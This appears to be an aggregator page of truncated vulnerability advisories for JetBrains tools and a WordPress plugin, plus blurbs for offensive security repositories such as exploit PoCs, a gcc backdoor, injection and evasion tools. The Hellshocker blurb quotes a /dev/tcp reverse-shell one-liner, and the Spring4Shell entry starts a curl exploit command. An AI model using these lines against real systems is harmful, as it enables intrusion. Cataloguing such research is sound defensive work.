CVE-2026-123278

In JetBrains IntelliJ IDEA versions prior to 2026.3 , a vulnerability exists that allows for code execution . The root cause is an unauthenticated JDBC worker RMI endpoint , which lacks necessary authentication for critical functionality (CWE-306). This vulnerability allows for High confidentiali...

CVE-2026-123279

In JetBrains Datalore versions prior to 2026.4 , a vulnerability allows for code execution within a notebook's computation. This issue stems from Incorrect Authorization (CWE-863), specifically enabling view-only collaborators to execute code. The vulnerability carries a CRITICAL CVSS 3.1 base sc...

CVE-2026-123278

In JetBrains IntelliJ IDEA before 2026.3 code execution was possible via the unauthenticated JDBC worker RMI endpoint...

EUVD-2026-118043

In JetBrains IntelliJ IDEA before 2026.3 code execution was possible via the unauthenticated JDBC worker RMI endpoint...

EUVD-2026-118044

In JetBrains Datalore before 2026.4 code execution was possible in a notebook's computation by view-only collaborators...

CVE-2026-123276

In JetBrains CLion before 2026.3, 2026.2.4.1 code execution was possible in Safe Mode via a crafted GDB server debug profile...

CVE-2026-123276

JetBrains CLion versions before 2026.3 (specifically 2026.2.4.1 ) are vulnerable to code execution when running in Safe Mode . The root cause is the inclusion of functionality from an untrusted control sphere (CWE-829) triggered via a crafted GDB server debug profile . This vulnerability has a Hi...

EUVD-2026-118041

In JetBrains CLion before 2026.3, 2026.2.4.1 code execution was possible in Safe Mode via a crafted GDB server debug profile...

ElfDoor-gcc

ElfDoor-gcc ElfDoor-gcc is an LDPRELOAD that hijacks gcc to inject malicious code into binaries during linking, without touching the source code. Detailed Article: https://matheuzsecurity.github.io/hacking/gcc/ Install git clone https://github.com/MatheuZSecurity/ElfDoor-gcc cd ElfDoor-gcc chmod ...

cve-2024-6387-poc

cve-2024-6387-poc a signal handler race condition in OpenSSH's server sshd 7etsuo Description An exploit for CVE-2024-6387, targeting a signal handler race condition in OpenSSH's server sshd on glibc-based Linux systems. The vulnerability allows for remote code execution as root due to...

cspparse

cspparse Description cspparse is a tool to evaluate Content Security Policies. It uses Google's API to retrieve the CSP Headers and returns them in ReconJSON format. Not only does it check for headers with Google's API, it also parses the target site's HTML to look for any CSP rules that are...

MalQR.github.io

MalQR About MalQR is a collection of malicious QR codes and barcodes you can use to test the security of your scanners. It gives you the ability to conduct such tests with easiness : you just need to have a smartphone, a tablet or a laptop with an internet connection and browse MalQR.shielder.com...

PageTableInjection

PageTableInjection Code Injection, Inject malicious payload via pagetables pml4. Introduction This is just a proof-of-concept of the page table injection technique to inject malicious code into the arbitrary user processes. On Windowsand some modern OSes, every process has a its PML4 a.k.a...

idacode

IDACode IDACode makes it easy to execute and debug Python scripts in your IDA environment without leaving Visual Studio Code. The VS Code extension can be found on the marketplace. IDACode is still in a very early state and bugs are to be expected. Please open a new issue if you encounter any...

inceptor

🚩 This is the public repository of Inceptor, for latest version and updates please consider supporting us through https://porchetta.industries/ 🚩 Sponsors If you want to sponsors this project and have the latest updates on Inceptor, latest issues fixed, latest features, please support us on...

ios-malicious-bithunter

iOS Malicious Bit Hunter Abstract iOS Malicious Bit Hunter is a malicious plug-in detection engine for iOS applications. It can analyze the head of the macho file of the injected dylib dynamic library based on runtime, and can perform behavior analysis through interface input characteristics to...

CVE-2014-6271

Hellshocker 0.1.1 Tool to exploit Shellshock vulnerability Tired of using weak shellshock exploits or just "/bin/bash & /dev/tcp/IP/port 0&1" your way into the server? Yes, you need to upload and execute something more complex to the server, and base64 encoding a huge file is impossible for your...

tplmap

Tplmap This project is no longer maintained. I'm happy to merge new PRs as long they don't break the test suite. Tplmap assists the exploitation of Code Injection and Server-Side Template Injection vulnerabilities with a number of sandbox escape techniques to get access to the underlying operatin...

CVE-2022-22963

CVE-2022-22963 - Spring4shell To run the vulnerable SpringBoot application run this docker container exposing it to port 8080. Example: docker run -it -d -p 8080:8080 bobcheat/springboot-public Exploit Curl command: curl -i -s -k -X $'POST' -H $'Host: 192.168.1.2:8080' -H...

EUVD-2026-118171

The Product Feed Manager for WooCommerce – CTX Feed – Support 220+ Shopping, AI & Social Channels plugin for WordPress is vulnerable to PHP Code Injection in all versions up to, and including, 8.0.26. This is due to insufficient sanitization of the feedConfigCustom2 parameter — only wpunslash is...